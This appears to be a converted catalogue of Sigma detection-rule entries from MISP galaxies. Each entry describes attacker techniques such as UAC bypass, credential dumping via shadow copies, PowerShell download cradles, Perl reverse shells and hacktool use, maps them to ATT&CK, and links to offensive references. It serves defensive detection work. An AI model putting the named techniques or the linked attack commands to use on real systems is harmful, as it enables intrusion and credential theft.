An adversary may use legitimate desktop support and remote access software, such as TeamViewer, Go2Assist, LogMeIn, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

The tag is: \textit{misp-galaxy:sigma-rules="Use of UltraViewer Remote Access Software"}

\textbf{View relationships graph}

Use of UltraViewer Remote Access Software has relationships with:


\textit{Table 9504. Table References}

\begin{tabular}{|l|}
\hline
\textbf{Links} \\
\hline
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdefcdd3742bfcf365fee2a9/atomics/T1219/T1219.md \\
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_software_ultraviewer.yml \\
\hline
\end{tabular}
**Execution in Outlook Temp Folder**

Detects a suspicious program execution in Outlook temp folder

The tag is: `misp-galaxy:sigma-rules="Execution in Outlook Temp Folder"`

View relationships graph

Execution in Outlook Temp Folder has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001"` with estimative-language:likelihood-probability="almost-certain"

**Stop Windows Service Via Net.EXE**

Detects the stopping of a Windows service

The tag is: `misp-galaxy:sigma-rules="Stop Windows Service Via Net.EXE"`

View relationships graph

Stop Windows Service Via Net.EXE has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Service Stop - T1489"` with estimative-language:likelihood-probability="almost-certain"

**Renamed Jusched.EXE Execution**

Detects the execution of a renamed “jusched.exe” as seen used by the cobalt group

The tag is: `misp-galaxy:sigma-rules="Renamed Jusched.EXE Execution"`

View relationships graph

Renamed Jusched.EXE Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Rename System Utilities - T1036.003"` with estimative-language:likelihood-probability="almost-certain"
PUA - AdvancedRun Execution

Detects the execution of AdvancedRun utility

The tag is: `misp-galaxy:sigma-rules="PUA - AdvancedRun Execution"`

View relationships graph

PUA - AdvancedRun Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003"` with estimative-language:likelihood-probability="almost-certain"

Uninstall Sysinternals Sysmon

Detects the removal of Sysmon, which could be a potential attempt at defense evasion

The tag is: `misp-galaxy:sigma-rules="Uninstall Sysinternals Sysmon"`

View relationships graph

Uninstall Sysinternals Sysmon has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001"` with
UAC Bypass Using Windows Media Player - Process

Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)

The tag is: misp-galaxy:sigma-rules="UAC Bypass Using Windows Media Player - Process"

View relationships graph

UAC Bypass Using Windows Media Player - Process has relationships with:


HackTool - Rubeus Execution

Detects the execution of the hacktool Rubeus via PE information of command line parameters

The tag is: misp-galaxy:sigma-rules="HackTool - Rubeus Execution"

View relationships graph

HackTool - Rubeus Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1550.003" with estimative-language:likelihood-probability="almost-certain"
Gzip Archive Decode Via PowerShell

Detects attempts of decoding encoded Gzip archives via PowerShell.

The tag is: `misp-galaxy:sigma-rules="Gzip Archive Decode Via PowerShell"`

View relationships graph

Gzip Archive Decode Via PowerShell has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001"` with estimative-language:likelihood-probability="almost-certain"

Group Membership Reconnaissance Via Whoami.EXE

Detects the execution of whoami.exe with the /group command line flag to show group membership for the current user, account type, security identifiers (SID), and attributes.

The tag is: `misp-galaxy:sigma-rules="Group Membership Reconnaissance Via Whoami.EXE"`

View relationships graph

Group Membership Reconnaissance Via Whoami.EXE has relationships with:

**Suspicious Csi.exe Usage**

Csi.exe is a signed binary from Microsoft that comes with Visual Studio and provides C# interactive capabilities. It can be used to run C# code from a file passed as a parameter in command line. Early version of this utility provided with Microsoft “Roslyn” Community Technology Preview was named ‘rcsi.exe’

The tag is: *misp-galaxy:sigma-rules=*"Suspicious Csi.exe Usage"

**View relationships graph**

Suspicious Csi.exe Usage has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

*Table 9514. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/Z3Jpa29z/status/1317545798981324801">https://twitter.com/Z3Jpa29z/status/1317545798981324801</a></td>
</tr>
<tr>
<td><a href="https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/">https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/OtherMSBinaries/Rcsi/">https://lolbas-project.github.io/lolbas/OtherMSBinaries/Rcsi/</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/OtherMSBinaries/Csi/">https://lolbas-project.github.io/lolbas/OtherMSBinaries/Csi/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_csi_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_csi_execution.yml</a></td>
</tr>
</tbody>
</table>

**Suspicious Git Clone**

Detects execution of "git" in order to clone a remote repository that contain suspicious keywords which might be suspicious

The tag is: *misp-galaxy:sigma-rules=*"Suspicious Git Clone"

**View relationships graph**

Suspicious Git Clone has relationships with:


*Table 9515. Table References*
HackTool - SharpImpersonation Execution

Detects execution of the SharpImpersonation tool. Which can be used to manipulate tokens on a Windows computers remotely (PsExec/WmiExec) or interactively.

The tag is: `misp-galaxy:sigma-rules="HackTool - SharpImpersonation Execution"`

View relationships graph

HackTool - SharpImpersonation Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Make and Impersonate Token - T1134.003" with estimative-language:likelihood-probability="almost-certain"

Table 9516. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://s3cur3th1ssh1t.github.io/SharpImpersonation-Introduction/">https://s3cur3th1ssh1t.github.io/SharpImpersonation-Introduction/</a></td>
</tr>
<tr>
<td><a href="https://github.com/S3cur3Th1sSh1t/SharpImpersonation">https://github.com/S3cur3Th1sSh1t/SharpImpersonation</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_sharp_impersonation.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_sharp_impersonation.yml</a></td>
</tr>
</tbody>
</table>

Rundll32 InstallScreenSaver Execution

An attacker may execute an application as a SCR File using rundll32.exe desk.cpl,InstallScreenSaver

The tag is: `misp-galaxy:sigma-rules="Rundll32 InstallScreenSaver Execution"`

View relationships graph

Rundll32 InstallScreenSaver Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

Table 9517. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Libraries/Desk/">https://lolbas-project.github.io/lolbas/Libraries/Desk/</a></td>
</tr>
</tbody>
</table>
Service StartupType Change Via Sc.EXE

Detect the use of "sc.exe" to change the startup type of a service to "disabled" or "demand"

The tag is: `misp-galaxy:sigma-rules="Service StartupType Change Via Sc.EXE"`

View relationships graph

Service StartupType Change Via Sc.EXE has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001"` with estimative-language:likelihood-probability="almost-certain"

Table 9518. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.virustotal.com/gui/file/38283b775552da8981452941ea74191aa0d203edd3f61fb2dee7b0aea3514955">https://www.virustotal.com/gui/file/38283b775552da8981452941ea74191aa0d203edd3f61fb2dee7b0aea3514955</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_disable_service.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_disable_service.yml</a></td>
</tr>
</tbody>
</table>

Windows Hotfix Updates Reconnaissance Via Wmic.EXE

Detects the execution of wmic with the "qfe" flag in order to obtain information about installed hotfix updates on the system. This is often used by pentester and attacker enumeration scripts

The tag is: `misp-galaxy:sigma-rules="Windows Hotfix Updates Reconnaissance Via Wmic.EXE"`

View relationships graph

Windows Hotfix Updates Reconnaissance Via Wmic.EXE has relationships with:


Table 9519. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/carlospolop/PEASS-ng/blob/fa0f2e17fbc1d86f1fd66338a40e665e7182501d/winPEAS/winPEASbat/winPEAS.bat">https://github.com/carlospolop/PEASS-ng/blob/fa0f2e17fbc1d86f1fd66338a40e665e7182501d/winPEAS/winPEASbat/winPEAS.bat</a></td>
</tr>
</tbody>
</table>
Potentially Suspicious WebDAV LNK Execution

Detects possible execution via LNK file accessed on a WebDAV server.

The tag is: `misp-galaxy:sigma-rules="Potentially Suspicious WebDAV LNK Execution"`

View relationships graph

Potentially Suspicious WebDAV LNK Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="User Execution - T1204"` with estimative-language:likelihood-probability="almost-certain"

Table 9520. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://micahbabinski.medium.com/search-ms-webdav-and-chill-99c5b23ac462">https://micahbabinski.medium.com/search-ms-webdav-and-chill-99c5b23ac462</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webdav_lnk">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webdav_lnk</a> Execution.yml</td>
</tr>
</tbody>
</table>

Potential File Download Via MS-AppInstaller Protocol Handler

Detects usage of the "ms-appinstaller" protocol handler via command line to potentially download arbitrary files via AppInstaller.EXE. The downloaded files are temporarily stored in "\Users\%username%\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\AC\INetCache\<RANDOM-8-CHAR-DIRECTORY>"

The tag is: `misp-galaxy:sigma-rules="Potential File Download Via MS-AppInstaller Protocol Handler"`

View relationships graph

Potential File Download Via MS-AppInstaller Protocol Handler has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"` with estimative-language:likelihood-probability="almost-certain"
Suspicious FromBase64String Usage On Gzip Archive - Process Creation

Detects attempts of decoding a base64 Gzip archive via PowerShell. This technique is often used as a method to load malicious content into memory afterward.

The tag is: `misp-galaxy:sigma-rules="Suspicious FromBase64String Usage On Gzip Archive - Process Creation"`

View relationships graph

Suspicious FromBase64String Usage On Gzip Archive - Process Creation has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001"` with estimative-language:likelihood-probability="almost-certain"

Table 9522. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=43">https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=43</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_frombase64string_archive.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_frombase64string_archive.yml</a></td>
</tr>
</tbody>
</table>

UAC Bypass Tools Using ComputerDefaults

Detects tools such as UACMe used to bypass UAC with computerdefaults.exe (UACMe 59)

The tag is: `misp-galaxy:sigma-rules="UAC Bypass Tools Using ComputerDefaults"`

View relationships graph

UAC Bypass Tools Using ComputerDefaults has relationships with:


Table 9523. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/hfiref0x/UACME">https://github.com/hfiref0x/UACME</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_computerdefaults.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_computerdefaults.yml</a></td>
</tr>
</tbody>
</table>
Password Protected Compressed File Extraction Via 7Zip

Detects usage of 7zip utilities (7z.exe, 7za.exe and 7zr.exe) to extract password protected zip files.

The tag is: `misp-galaxy:sigma-rules="Password Protected Compressed File Extraction Via 7Zip"`

View relationships graph

Password Protected Compressed File Extraction Via 7Zip has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001"` with estimative-language:likelihood-probability="almost-certain"

Table 9524. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.cyble.com/2022/06/07/bumblebee-loader-on-the-rise/">https://blog.cyble.com/2022/06/07/bumblebee-loader-on-the-rise/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_7zip_password_extraction.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_7zip_password_extraction.yml</a></td>
</tr>
</tbody>
</table>

HackTool - Koadic Execution

Detects command line parameters used by Koadic hack tool

The tag is: `misp-galaxy:sigma-rules="HackTool - Koadic Execution"`

View relationships graph

HackTool - Koadic Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003"` with estimative-language:likelihood-probability="almost-certain"

- related-to: `misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005"` with estimative-language:likelihood-probability="almost-certain"

- related-to: `misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007"` with estimative-language:likelihood-probability="almost-certain"

Table 9525. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/offsecginger/koadic/blob/457f9a3ff394c989cdbc4c599ab90eb34fb2c762c/data/stag%5Cer/js/stdlib.js">https://github.com/offsecginger/koadic/blob/457f9a3ff394c989cdbc4c599ab90eb34fb2c762c/data/stag\er/js/stdlib.js</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/unit42-sofacy-groups-parallel-attacks/">https://unit42.paloaltonetworks.com/unit42-sofacy-groups-parallel-attacks/</a></td>
</tr>
<tr>
<td><a href="https://blog.f-secure.com/hunting-for-koadic-a-com-based-rootkit/">https://blog.f-secure.com/hunting-for-koadic-a-com-based-rootkit/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_koadic.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_koadic.yml</a></td>
</tr>
</tbody>
</table>
Always Install Elevated MSI Spawned Cmd And Powershell

Detects Windows Installer service (msiexec.exe) spawning "cmd" or "powershell"

The tag is: 
```
misp-galaxy:sigma-rules="Always Install Elevated MSI Spawned Cmd And Powershell"
```

View relationships graph

Always Install Elevated MSI Spawned Cmd And Powershell has relationships with:


Table 9526. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_elavated_msi_spawned_shell.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_elavated_msi_spawned_shell.yml</a></td>
</tr>
</tbody>
</table>

Potentially Over Permissive Permissions Granted Using Dsacls.EXE

Detects usage of Dsacls to grant over permissive permissions

The tag is: 
```
misp-galaxy:sigma-rules="Potentially Over Permissive Permissions Granted Using Dsacls.EXE"
```

View relationships graph

Potentially Over Permissive Permissions Granted Using Dsacls.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 9527. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771151(v=ws.11)">https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771151(v=ws.11)</a></td>
</tr>
<tr>
<td><a href="https://ss64.com/nt/dsacls.html">https://ss64.com/nt/dsacls.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dsacls_abuse_permissions.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dsacls_abuse_permissions.yml</a></td>
</tr>
</tbody>
</table>
Shadow Copies Creation Using Operating Systems Utilities

Shadow Copies creation using operating systems utilities, possible credential access

The tag is: misp-galaxy:sigma-rules="Shadow Copies Creation Using Operating Systems Utilities"

View relationships graph

Shadow Copies Creation Using Operating Systems Utilities has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"

Table 9528. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment">https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shadow_copies_creation.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shadow_copies_creation.yml</a></td>
</tr>
</tbody>
</table>

Perl Inline Command Execution

Detects execution of perl using the ":-e"/"-E" flags. This is could be used as a way to launch a reverse shell or execute live perl code.

The tag is: misp-galaxy:sigma-rules="Perl Inline Command Execution"

View relationships graph

Perl Inline Command Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 9529. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet</a></td>
</tr>
<tr>
<td><a href="https://www.revshells.com/">https://www.revshells.com/</a></td>
</tr>
</tbody>
</table>
Remote Access Tool - GoToAssist Execution

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMeIn, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

The tag is: misp-galaxy:sigma-rules="Remote Access Tool - GoToAssist Execution"

View relationships graph

Remote Access Tool - GoToAssist Execution has relationships with:


Table 9530. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f6fcd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-4---gotoassist-files-detected-test-on-windows">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f6fcd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-4---gotoassist-files-detected-test-on-windows</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_gotoopener.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_gotoopener.yml</a></td>
</tr>
</tbody>
</table>

Curl Web Request With Potential Custom User-Agent

Detects execution of "curl.exe" with a potential custom "User-Agent". Attackers can leverage this to download or exfiltrate data via "curl" to a domain that only accept specific "User-Agent" strings

The tag is: misp-galaxy:sigma-rules="Curl Web Request With Potential Custom User-Agent"

Table 9531. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://labs.withsecure.com/publications/fin7-target-veeam-servers">https://labs.withsecure.com/publications/fin7-target-veeam-servers</a></td>
</tr>
<tr>
<td><a href="https://github.com/WithSecureLabs/iocs/blob/344203de742bb7e68bd56618f66d34be95a9f9fc/FIN7VEAM/iocs.csv">https://github.com/WithSecureLabs/iocs/blob/344203de742bb7e68bd56618f66d34be95a9f9fc/FIN7VEAM/iocs.csv</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_custom_user_agent.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_custom_user_agent.yml</a></td>
</tr>
</tbody>
</table>
Suspicious Execution of Shutdown

Use of the commandline to shutdown or reboot windows

The tag is: `misp-galaxy:sigma-rules="Suspicious Execution of Shutdown"`

View relationships graph

Suspicious Execution of Shutdown has relationships with:


Table 9532. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcc3742bfc365fee2a9/atomics/T1529/T1529.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcc3742bfc365fee2a9/atomics/T1529/T1529.md</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown">https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shutdown_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shutdown_execution.yml</a></td>
</tr>
</tbody>
</table>

PUA - System Informer Execution

Detects the execution of System Informer, a task manager tool to view and manipulate processes, kernel options and other low level operations

The tag is: `misp-galaxy:sigma-rules="PUA - System Informer Execution"`

View relationships graph

PUA - System Informer Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Hide Artifacts - T1564"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Create or Modify System Process - T1543"` with estimative-language:likelihood-probability="almost-certain"

Table 9533. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/winsiderss/systeminformer">https://github.com/winsiderss/systeminformer</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_system_informer.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_system_informer.yml</a></td>
</tr>
</tbody>
</table>
Suspicious RunAs-Like Flag Combination

Detects suspicious command line flags that let the user set a target user and command as e.g. seen in PsExec-like tools

The tag is: `misp-galaxy:sigma-rules="Suspicious RunAs-Like Flag Combination"`

Table 9534. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_privilege_escalation_cli_patterns.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_privilege_escalation_cli_patterns.yml</a></td>
</tr>
</tbody>
</table>

PowerShell Web Download

Detects suspicious ways to download files or content using PowerShell

The tag is: `misp-galaxy:sigma-rules="PowerShell Web Download"`

View relationships graph

PowerShell Web Download has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"

Table 9535. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/VirtualAllocEx/Payload-Download-Cradles/blob/88e8eca34464a547c90d9140d70e9866dc6a12/Download-Cradles.cmd">https://github.com/VirtualAllocEx/Payload-Download-Cradles/blob/88e8eca34464a547c90d9140d70e9866dc6a12/Download-Cradles.cmd</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_download_cradles.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_download_cradles.yml</a></td>
</tr>
</tbody>
</table>

PUA - AdvancedRun Suspicious Execution

Detects the execution of AdvancedRun utility in the context of the TrustedInstaller, SYSTEM, Local Service or Network Service accounts

The tag is: `misp-galaxy:sigma-rules="PUA - AdvancedRun Suspicious Execution"`

View relationships graph

PUA - AdvancedRun Suspicious Execution has relationships with:
HackTool - TruffleSnout Execution

Detects the use of TruffleSnout.exe an iterative AD discovery toolkit for offensive operators, situational awareness and targeted low noise enumeration.

The tag is: *misp-galaxy: sigma-rules=*"HackTool - TruffleSnout Execution"

View relationships graph

HackTool - TruffleSnout Execution has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language: likelihood-probability="almost-certain"

Sensitive Registry Access via Volume Shadow Copy

Detects a command that accesses password storing registry hives via volume shadow backups

The tag is: *misp-galaxy: sigma-rules=*"Sensitive Registry Access via Volume Shadow Copy"

View relationships graph

Sensitive Registry Access via Volume Shadow Copy has relationships with:
• related-to: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 9538. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/">https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/</a></td>
</tr>
<tr>
<td><a href="https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection">https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/vxunderground/status/142336151860002816?s=20">https://twitter.com/vxunderground/status/142336151860002816?s=20</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_conti_shadowcopy.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_conti_shadowcopy.yml</a></td>
</tr>
</tbody>
</table>

**Suspicious Use of PsLogList**

Detects usage of the PsLogList utility to dump event log in order to extract admin accounts and perform account discovery or delete events logs

The tag is: *misp-galaxy:sigma-rules="Suspicious Use of PsLogList"*

View relationships graph

Suspicious Use of PsLogList has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"

• related-to: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"

• related-to: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 9539. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Sysinternals/PsLogList">https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Sysinternals/PsLogList</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ErcaZelic/status/1614075109827874817">https://twitter.com/ErcaZelic/status/1614075109827874817</a></td>
</tr>
<tr>
<td><a href="https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/">https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_psloglist.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_psloglist.yml</a></td>
</tr>
</tbody>
</table>

**New Service Creation Using Sc.EXE**

Detects the creation of a new service using the "sc.exe" utility.
The tag is: *misp-galaxy:sigma-rules="New Service Creation Using Sc.EXE"*

**View relationships graph**

New Service Creation Using Sc.EXE has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"*

